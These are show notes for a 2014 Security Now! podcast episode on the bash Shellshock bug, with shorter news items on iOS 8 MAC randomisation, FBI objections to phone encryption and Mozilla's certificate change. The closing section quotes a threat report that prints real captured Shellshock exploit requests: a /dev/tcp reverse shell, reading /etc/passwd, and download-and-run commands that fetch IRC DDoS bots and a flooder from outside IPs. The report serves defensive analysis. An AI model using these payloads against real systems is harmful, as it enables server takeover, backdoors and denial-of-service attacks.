Security Now! #475 - 10-01-14

Shocked by the Shell

Link Tracking Warning!
This document was first authored in Google Docs, then Downloaded as a PDF. So, Google has thoughtfully (ha!) added "tracking" redirections to all of the links here. (I have no idea why, but that's Google.) If that bothers you, simply copy the text of the link into your browser's URL field.

This week on Security Now!

- Apple offers OS X updates for the bash ShellShock problem,
- iOSv8 MAC address randomization next to worthless.
- US law enforcement reacts negatively to heightened consumer privacy enforcement,
- Mozilla their certs to SHA-256... then quickly back to SHA-1.
- Kevin Mitnick opens his "Absolute 0-day exploit exchange."

Let's Play: "Guess the Airport Door Security Code"

Security News:

Apple MAC OX's bash "shellshock" updates

- http://support.apple.com/downloads
- Not being pushed out universally yet.
- Very small and lightweight. No reboot required.

iOSv8 WiFi Probe MAC addresses not nearly as "random" as hoped.

- Apple's glamorization of this new iOS v8 feature:
- http://www.apple.com/privacy/privacy-built-in/
- <quote> When you're out running errands with your phone in your pocket, Wi-Fi hotspots have the ability to track your movements and behavior by scanning your Wi-Fi MAC address. A MAC address is a string of characters that uniquely identifies your device on a network. With iOS 8, we've introduced an innovative feature designed to protect your privacy by randomizing your device's MAC address when the device is passively scanning for Wi-Fi networks. Because your MAC address now changes when you're not connected to a network, it can't be used to persistently track you. This is in line with Apple's industry-leading effort to do away with persistent identifiers, and is unique to iOS devices.
- Nick Arnott: http://www.imore.com/closer-look-ios-8s-mac-randomization
- Steve: It does seem odd that they were (presumably) unable to leave the WiFi MAC random unless and until actually connecting to WiFi. Perhaps it was just an architectural problem, somehow, or perhaps just a lazy way they first implemented it.

  But most disturbing, I think, to me is that they have effectively miscommunicated a somewhat loudly touted privacy feature. This represents effectively extreme leakage in something they claimed wasn't going to leak anymore. I'm not as concerned by the fact, one way or the other, of the WiFi MAC address leakage... as much as I am by the fact that they didn't deliver what they claimed to.

US Law Enforcement annoyed with increased consumer privacy

- Huffington Post:
  - http://www.apple.com/privacy/privacy-built-in/
- FBI Director James Comey 'Very Concerned' About New Apple, Google Privacy Features
  - http://www.huffingtonpost.com/2014/09/25/james-comey-apple-encryption_n_5882874.html
  - <quote> "I am a huge believer in the rule of law, but I also believe that no one in this country is beyond the law. What concerns me about this, is companies marketing something expressly to allow people to place themselves beyond the law."
- FBI Concerned With New Default Encryption Settings in iOS and Android Devices
  - http://www.macrumors.com/2014/09/25/rbi-concerned-with-apple-encryption/
  - The FBI has been in talks with Apple and Google about the way the technology companies are marketing the privacy features in their smartphones, according to

FBI Director James Comey (via The Huffington Post). Comey says that he is concerned that the two companies are "marketing something expressly to allow people to place themselves above the law."
    - http://www.washingtonpost.com/business/technology/fbi-blasts-apple-google-for-locking-police-out-of-phones/2014/09/25/68c4e08e-4344-11e4-9a15-137aa0153527_story.html
    - http://www.dailytech.com/FBI+Outraged+That+Apple+Google+are+Adopting+Digital+Locks+to+Protect+Users/article36616.htm

Mozilla's experience when they changed their web servers from SHA-1 to SHA-2...

- https://bugzilla.mozilla.org/show_bug.cgi?id=1064387#c5
- Jake Maul <quote> "SHA-2 certs on www.mozilla.org cost us around 145,000 Firefox downloads per week."
- Chria More <quote> "Yes, please don't change SSL certs on www.mozilla.org without checking with #www or #webprod as we killed 1 million downloads recently by switching to SHA-2. A lot of the world is still running old browsers and come to our website to get Firefox."
- Jake Mail <quote> "Let's re-issue the cert for www.mozilla.org as SHA-1, expiring 2015-12-31. That gives us the maximum amount of time to support old users without breaking Chrome or IE. At that time, we may just have to start trying to detect WinXP users (ideally just pre-SP3, but that seems like it would be hard to detect) and force them to a non-SSL connection. Sucks, but better than giving them an error and making it impossible for them to download Firefox. Firefox is a great fix for them because it ships with its own SSL stack and thus avoids the underlying OS limitation.
- Chris More <quote> "Let's keep SHA-1 on www.mozilla.org until we find a better solution. Switching to SHA-2 will kill 5% of out downloads and that has a direct impact on ongoing Firefox usage unless we have a better solution to deal with legacy browsers. Let's start the discussion now in a separate bug on how to handle legacy browsers before Dec 2015."

Kevin Mitnick selling 0-day exploits to "discerning government and corporate buyers."

- No less than $100,000 each.
- Though Kevin's company employs its own hackers, he's essentially a 0-day exploit reseller, purchasing exploits from those who discover them and reselling them to his customers.
- https://www.mitnicksecurity.com/shopping/absolute-zero-day-exploit-exchange
- http://www.wired.com/2014/09/kevin-mitnick-selling-zero-day-exploits/
- https://news.ycombinator.com/item?id=8362208
- Kevin's forthcoming book: "The Art of Invisibility."
    - https://www.mitnicksecurity.com/shopping/books-by-kevin-mitnick
    - <quote> The world's most famous hacker reveals the secret on how citizens and consumers can stay connected and on the grid safely and securely by using cloaking and countermeasures in today's are of Big Brother and big data.

Miscellany:

- Mike Cunningham (@MikeCunning) tweets, wondering whether this is @SGgrc approved:
- "Nope" -- Brilliant and clever and perfect!
- https://www.kickstarter.com/projects/1893116150/nope-live-free

SpinRite:

Bob Guarda in Ottawa, Ontario Canada writes: "SpinRite Testimonial"

Hi Steve, and Leo,

Just want to say hello and that I am a long time listener of Security Now! and I am also a proud owner of SpinRite!

As we all know, we "computer guys" do the support for family and friends, and I am no exception to this rule. Here is a story for SpinRite! A Success Story that is!

A friend of mine has a Netgear ReadyNAS network NAS box. When he purchased it I set it up for him with 4 drives and RAID 5 configuration. At the time I told him that this is a very good configuration because should 1 drive fail, the information is still available. The odds of 2 drives failing, well that is super high.

This would help in keeping all of his pictures and videos safe.

To make it even more safe, I set up the built in backup utility of the Netgear NAS, to do a weekly backup to an external drive connected to the USB port.

One morning, he gets an email from the device saying that Drive 1 had failed, and that another drive was about to fail. The NAS box had turned itself off for protection.

He calls me up in a panic and I tell him no problem, the worst scenario is that he has "lost" 1 week of work. He then admits that the backup had not worked in months. He kept forgetting to tell me. Yikes!

He contacted Netgear for help and after a valiant effort from Level 2 and Level 3 support at Netgear, the "solution" was to get a data recovery company to save his data. It appeared that Drive 1, 2 and 3 were dead. When he enquired at a local data recovery establishment, cost was $ 3000 starting, and no guarantees. Yikes!

Then I remembered that Spinrite does not care what the file format is on the drive. Be it NTFS, FAT32, MAC OS, Linux, or RAID, it does it's magic.

So, I said to my friend "you have nothing to lose since you already lost it". He agreed, and let me attempt to save his data.

So, I did drive 1, 3, and 4 at level 2. Drive 2 was giving me the click of death, and the computer

would not recognize the drive. I figured, well, it's suppose to be RAID 5. If I saved the other drives the Netgear box should rebuild it.

I replaced drive 2 with a new drive and placed the freshly Spinrited, (a new word?), drives into the NAS enclosure. I powered up the unit and voila! the RAID was starting to rebuild.

After the RAID finished rebuilding, all of his work files and most importantly, the videos and pictures of his 2 kids were available.

Thanks Steve for making such a great product.

And keep up the great work you do with Leo with Security Now! It is one of the best sources of security information there is out there.

Thanks… Bob, in Ottawa, Ontario Canada

Shocked by the Shell

What, exactly, IS the problem? How does it work? Why did it happen?

- Unix has always taken a sort of "toolkit" approach involving the invocation of multiple small and separate apps.
- Rather than passing the arguments and work-in-progress on the command line, a handy place to place things was environment variables.
- "Environment" variables form a sort of universally available scratchpad using named values.
- So… back at the dawn of the Internet, before there were bad guys, a handy "Unix'ish" shortcut was often used: It was convenient to place parameters from the current transaction into the environment, then invoke various functions to operate upon them.
- One of the "processors" was the UNIX command shell, which has always been powerful enough to perform useful work.
- Among other things, it's possible to define small bash functions in environment variables.
- So, bash parses all of the environment variables whenever it is started up.
- The problem was… bash continued parsing past the end of the function definition and will execute any command that it might encounter there.
- And this went unnoticed for more than two decades.

So what has the Internet industry been doing for the past week?

- Understanding the full extent of the vulnerability.
- Getting a robust fix in place.
- Searching the nebula vast of places where bash might be invoked.

The history of BASH:

- 1987: Bourne-Again Shell (BASH) created by **Brian J. Fox**.
- 1992: Turned BASH maintenance over to **Chet Ramey** who has maintained the software for the past 22 years as an unpaid hobby.
- His day job is Senior Technology Architect at Case Western Reserve University in Ohio.
- In an interview last Thursday, Chet said that he believed he had inadvertently introduced the bug when he added a new feature to BASH back in 1992.
- http://www.nytimes.com/2014/09/26/technology/security-experts-expect-shellshock-software-bug-to-be-significant.html

ArsTechnica:
http://arstechnica.com/security/2014/09/still-more-vulnerabilities-in-bash-shellshock-becomes-whack-a-mole/

ArsTechnica:
http://arstechnica.com/security/2014/09/shellshock-fixes-beget-another-round-of-patches-as-attacks-mount/

Is/Was it really a bug?
http://www.commandlinefu.com/commands/view/13721/bash-not-a-bug-a-feature-....-
export Q='() { a=$(pwd); [-z "$Q_env"] && export Q_env=$*; b=$Q_env; echo "a=$a, b=$b,"; }; Q $(pwd)'; bash -c "Q; cd ~/Desktop; Q"

Another bug found in bash: CVE-2014-6277 (Michal Zalewski)

- http://lcamtuf.blogspot.com/2014/09/bash-bug-apply-unofficial-patch-now.html?m=1
- Due to the fact that bash is seldom compiled with ASLR.
- Details are being withheld until it can be patched, but in general terms, it's an attempt to access uninitialized memory leading to reads from, and then subsequent writes to, a pointer that is fully within attacker's control.
- Michal Zalewski: <quote> As for the inevitable "why hasn't this been noticed for 15 years" / "I bet the NSA knew about it" stuff - my take is that it's a very unusual bug in a very obscure feature of a program that researchers don't really look at, precisely because no reasonable person would expect it to fail this way. So, life goes on.

Beginning with v1.13 of bash
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
Links:

- CVSS Severity: 10 of 10.
  - Impact: 10 of 10.
  - Exploitability: 10 of 10.
  - Access Vector: Network.
  - Access Complexity: Low.
  - Authentication: Not Required.
- NIST CVE: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271
- GNU Bash through v4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts

executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution.

RedHat:

- "Bash specially-crafted environment variables code injection attack"
- Like "real" programming languages, Bash has functions, though in a somewhat limited implementation, and it is possible to put these bash functions into environment variables. This flaw is triggered when extra code is added to the end of these function definitions (inside the enivronment variable).

Troy Hunt:

http://www.troyhunt.com/2014/09/everything-you-need-to-know-about.html?m=1
Robert Graham: http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html
http://threatpost.com/major-bash-vulnerability-affects-linux-unix-mac-os-x/108521
https://securelist.com/blog/research/66673/bash-cve-2014-6271-vulnerability-qa-2/

Attack Vectors:

- httpd -> CGI scripts are likely affected by this issue: when a CGI script is run by the web server, it uses environment variables to pass data to the script. These environment variables can be controlled by the attacker. If the CGI script calls Bash, the script could execute arbitrary code as the httpd user. mod_php, mod_perl, and mod_python do not use environment variables and we believe they are not affected. (But mod_cgi does!)
- dhclient -> The Dynamic Host Configuration Protocol Client (dhclient) is used to automatically obtain network configuration information via DHCP. This client uses various environment variables and runs Bash to configure the network interface. Connecting to a malicious DHCP server could allow an attacker to run arbitrary code on the client machine.
- https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/

FireEye Report:

- http://www.fireeye.com/blog/uncategorized/2014/09/shellshock-in-the-wild.html
- The exploitation of the BASH bug, now widely referred to as "Shellshock", is in full swing. Attackers have mobilized—multiple proof-of-concept scripts are available, including a Metasploit module, making this vulnerability very accessible. The ease of exploitation, the simplicity of the vulnerability, and the extremely widespread install base of BASH, make this bug so deadly—and shows why enterprises need to apply patches as soon as possible. We have observed a significant amount of overtly malicious traffic leveraging BASH, including:
    - Malware droppers
    - Reverse shells and backdoors
    - DDoS

- The Common Gateway Interface (CGI) vector (an interface between a web server and executables that produce dynamic content) has received the bulk of the focus from attackers thus far. However, the reach of the BASH Shellshock bug doesn't stop at web

servers. Any application that relies on user-controlled data to set OS-level environment variables and then invokes the shell from that same context can trigger the vulnerability.

What's been observed over the wire...

Automated Click Fraud

```
Accept: () { :;}; /bin/ -c "curl
http://31.41.42[.]109/search/wphp/j.php?cgi=XXX

User-Agent: () { :;}; /bin/ -c "wget -q -O /dev/null
http://ad.dipad[.]biz/test/http://XXXXXX.com/"
```

These requests are attempting to convince the target machine to get resources from suspicious networks, at first glance they almost appear as if a user had clicked on an ad. It is worth mentioning that the above domain was only recently registered on September 19, 2014. The potential for automated click fraud here is evident as it would be trivial for attackers to craft HTTP requests that generate ad revenue, making it another avenue for the Blackhat SEO crowd to exploit for financial gain.

The No-Malware Reverse Shell Technique

```
GET /cgi-bin/ HTTP/1.1
Host: <SERVER_IP>
User-Agent: () { :;}; /bin/ -c '/bin/ -i >& /dev/tcp/195.225.34.14/3333 0>&1'
```

Many people are unaware that **BASH actually has built-in commands for sending and receiving network traffic**. They work similarly to netcat, but **without requiring any other malware or supporting tools to be present on the system**. The example above shows how to create an extremely useful reverse shell, just using BASH itself.
Through a clever bit of advanced BASH syntax, it calls a second BASH shell, which it then binds to a network socket connected to the attacker's IP on port 3333. Because this second shell is called with the '-i' option (for "interactive" mode), it provides full two-way communication to the attacker, operating much as a normal command line shell would. **The attacker has merely to listen on the correct port in order to receive a full interactive shell on the victim system.**

Stealing the Password File

```
GET /cgi-bin/status/status.cgi HTTP/1.1
Host: <SERVER_DOMAIN>
User-Agent: () { :;}; echo "Bagstash: " $(</etc/passwd)
```

The command above is injected into the HTTP User-Agent, though this time the objective is a simple smash-and-grab of the system password file.
After echoing the string "Bagstash: " back to the attacker, the exploit uses BASH's command substitution. The "$(…)" construct starts a subshell and executes the included command, also returning the resulting output to the attacker. In this case, the command is "</etc/passwd",

which is a standard BASH shortcut equivalent to “cat /etc/passwd”. In other words, the password file has just gone out the front door.

Email-Based Reconnaissance

GET /cgi-bin/w3mman2html.cgi HTTP/1.1
Host: <domain>
Cookie: () { ignored;};/bin/ -c 'mail -s hello **<address>**@gmail.com'
Referer: () { ignored;};/bin/ -c 'mail -s hello **<address>**@gmail.com'
User-Agent: () { ignored;};/bin/ -c 'mail -s hello **<address>**@gmail.com'

A very large percentage of the total number of exploit attempts are really just probes designed to somehow let the attacker know if it has succeeded, without causing any real damage to the system. Most of these use the “ping” command, or even the /dev/tcp capability mentioned above. This one, however, stood out due to the fact that it was the only one to use email.
The command above is fairly straightforward. If successful, the exploit uses the built-in Unix “mail” command to send a message to the indicated Gmail address, with the subject line “hello”. There is no message body.
Because email often takes very indirect routes to its destination, with the potential to involve many intermediate mail servers before final delivery, it seems odd that an attacker would consider this a reliable way to identify which systems were successfully exploited. Nevertheless, we observed this at multiple customers, using the same email address.

Payload Analyses

We have observed a number of injected BASH commands that attempt to download malware to vulnerable hosts via exploitation of the Shellshock BASH bug. The following is a brief analysis of these cases. They follow a similar format as the previous section.

Reverse Shell Perl Script

GET /cgi-sys/defaultwebpage.cgi HTTP/1.1
User-Agent: () { :;}; /bin/ -c "/usr/bin/wget
http://singlesaints[.]com/firefile/temp?h=<domain> -O /tmp/a.pl"
Host: <domain>
Accept: */*

The injected BASH command above simply downloads a file. The downloaded payload (md5: 27cb601055cee7a4e55a91ee524f3d88) is a Perl script that sets up a reverse shell connecting to 72.167.37.182 on port 23 to singlesaints[.]com, a dating site for Mormons and the same domain that is hosted the downloaded script, resolves to this IP.
The script was first submitted to VirusTotal yesterday and at this time, it only has one detection. It was named after “Bashattack”, inferring that it was previously unknown to AV vendors. Curiously, the script, along with its server component, is hosted at http://ww7.microtek.com.tw/Uploads/test/ttyClient.pl.

Tsunami/Kaiten, an IRC-based DDoS Client/Backdoor

```
GET /cgi-sys/defaultwebpage.cgi HTTP/1.0
User-Agent: shellshock-scan
(http://blog.erratasec.com/2014/09/-shellshock-scan-of-internet.html)
Accept: */*
Cookie: () { :; }; wget -O /tmp/besh http://104.192.103.6/bosh; chmod 777 /tmp/besh;
/tmp/besh;
Host: () { :; }; wget -O /tmp/besh http://104.192.103.6/bosh; chmod 777 /tmp/besh;
/tmp/besh;
Referer: () { :; }; wget -O /tmp/besh http://104.192.103.6/bosh; chmod 777 /tmp/besh;
/tmp/besh;
```

The injected BASH commands above download a file, change its permissions to read/write/execute for all users, and executes the file. The downloaded payload (md5: aec2df8a6cb35aa5b01b0d9f1f879aa1) is an x86_64 ELF executable that was submitted to VirusTotal and detected by many vendors as Tsunami/Kaiten. It mainly functions as a DDoS client, but also has backdoor capabilities, communicating over IRC. This particular variant is configured to connect to and receive commands from the same IP address it was downloaded from: 104.192.103.6.

UDP Flood

```
GET / HTTP/1.0
User-Agent: masscan/1.0 (https://github.com/robertdavidgraham/masscan)
Accept: */*
Cookie: () { :; }; wget 37.187.225.119/conf.txt > /var/www/conf.php; wget
37.187.225.119/conf.
txt > /var/www/html/conf.php
Host: () { :; }; wget 37.187.225.119/conf.txt > /var/www/conf.php; wget
37.187.225.119/conf.txt > /var/www/html/conf.php
Referer: () { :; }; wget 37.187.225.119/conf.txt > /var/
www/conf.php; wget 37.187.225.119/conf.txt > /var/www/html/conf.php
```

The injected commands above download a PHP file to what are commonly configured to be a Web server's root directories, trying two different common locations. The PHP script (md5: 19149a03c9bd3a2706cb355df52862dd) was submitted to VirusTotal earlier yesterday with a few detections identifying it as a flooder. It is a small and simple PHP script that will continuously send UDP packets with 65,000 bytes of random alphanumerical characters to a host. The host, port, and time limit are all passed as GET request parameters along with a simple authentication password that must be "microstresser14". The idea here is to convert exploited Web servers into on-demand DDoS clients.

Perl.Shellbot, another IRC-based DDoS Client/Backdoor

```
GET / HTTP/1.0
```

```
Accept: */*
Accept-Language: en-US
User-Agent: () { :;}; /bin/ -c ' -i >& /dev/tcp/195.225.34.101/3333 0>&1'
Host: <domain>
Connection: Close
```

The injected command above use the technique described above in the section titled "The No-Malware Reverse Shell Technique". It sets up an interactive BASH shell to read in commands from a service running on 195.255.34.101 on port 3333. This server was hosting a file named index.html that contained the following BASH commands that were likely used in this attack:

```
rm -rf /tmp/.lCE-unix;echo
'aW1wb3J0IHVybGxpYjt1cmxsaWIudXJscmV0cmlldmUgKCJodHRwOi8vMjAyLjEzNy4xNz
YuMTQ2L2ljb25zL3h0LmRhdCIsICIvdG1wLy5sQ0UtdW5peCIpCg==')>>/tmp/.lCE-
unix;perl -MMIME::Base64 -ne 'print decode_base64()' < /tmp/.lCE-
unix|python;wget -O /tmp/.lCE-unix
http://202.137.176.146/icons/xt.dat;perl /tmp/.lCE-unix 81.18.135.38
443;rm -rf /tmp/.lCE-unix;uptime
```

The commands above Base64 decode the initial string into the following python code below and execute it with Python.

```
import urllib;urllib.urlretrieve ("http://202.137.176.146/icons/xt.dat", "/tmp/.lCE-unix")
```

The code above simply downloads a file. The proceeding BASH commands redundantly (perhaps as a fallback mechanism) download the same file again using wget, then execute the file with Perl, removing the file after execution. The Perl script (md5: cd23ef54e264bd84ab1a12dddceb3f48) was first submitted to VirusTotal over a year ago and is known as ShellBot. It is an IRC bot with remote shell, scanning, and DDoS functionality. The BASH command passes it arguments that direct it to connect to 81.18.135.38 on port 443.

Another Perl.Shellbot Variant

```
GET /cgi-bin/hello HTTP/1.0
User-Agent: () { :;}; /bin/ -c "cd /tmp; wget http://dl.directxex[.]net/dl/nice.png; chmod +x
*; perl nice.png"
Host: <domain>
```

The injected BASH commands above download a file to /tmp, make all files in /tmp executable (including the downloaded file), and execute the downloaded file with Perl. The downloaded file (md5: b0b8a35445a4743ff6f196a4c0bba688) is a Perl script referring to itself as "DDoS Perl IrcBot v1.0" in its comments. It was first submitted to VirusTotal only ten days ago, on September 17th with several detections naming it ShellBot, the same as with our previous analysis above. This script shares much code and functionality with the previous sample as well. This script is configured to connect to 94.102.52.10 on port 6667.

Tiny Reverse Shell ELF Executable

```
GET /cgi-
bin/ICuGI/EST/blast_detail.cgi%3FID%3DPU056535%26db%3DGenBank%26organis
m%3Dcucurbita_pepo HTTP/1.1
Host: <domain>
content-length: 0
accept-encoding: gzip, deflate
referrer: ()
{ :; }; /bin/ -c "rm /tmp/.osock; if $(/bin/uname -m | /bin/grep 64)
; then /usr/bin/wget 82.118.242.223:9199/v64 -O /tmp/.osock;
/usr/bin/lwp-download http://82.118.242[.]223:9199/v64 /tmp/.osock;
/usr/bin
/curl http://82.118.242.223:9199/v64 -o /tmp/.osock; else /usr/bin/wget
82.118.242.223:9199/v -O /tmp/.osock; /usr/bin/lwp-download
http://82.118.242[.]223:9199/v /tmp/.osock; /usr/bin/curl
http://82.118.242[.]223:91
99/v -o /tmp/.osock; fi; /bin/chmod 777 /tmp/.osock; /tmp/.osock"
accept: */*
user-agent: User-Agent: Mozilla/5.0 (X11; Linux x86_64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116
Safari/537.36
cookie: () { :; }; /bin/ -c "rm /tmp/.osock; if $(/bin/uname -m |
/bin/grep 64) ; then /usr/bin/wget 82.118.242.223:9199/v64 -O
/tmp/.osock; /usr/bin/lwp-download http://82.118.242[.]223:919
```

The injected BASH commands above, in this case, are quite lengthy. This is because it tries three different methods for downloading the payload. It also checks to see if the system is 64-bit or not and downloads a 64-bit version of the payload appropriately. The payload is a very small ELF executable (md5: 959aebc9b44c2a5fdd23330d9be1101e) that was **submitted to VirusTotal yesterday with 0 detections**. It simply creates a reverse shell, connecting to the same IP the payload was downloaded from: 82.118.242.223.

We will continue monitoring the threats and keep you updated with our new discoveries. We would also like to thank Durgesh Sangvikar and Josh Gomez for their great research and contribution to this blog post.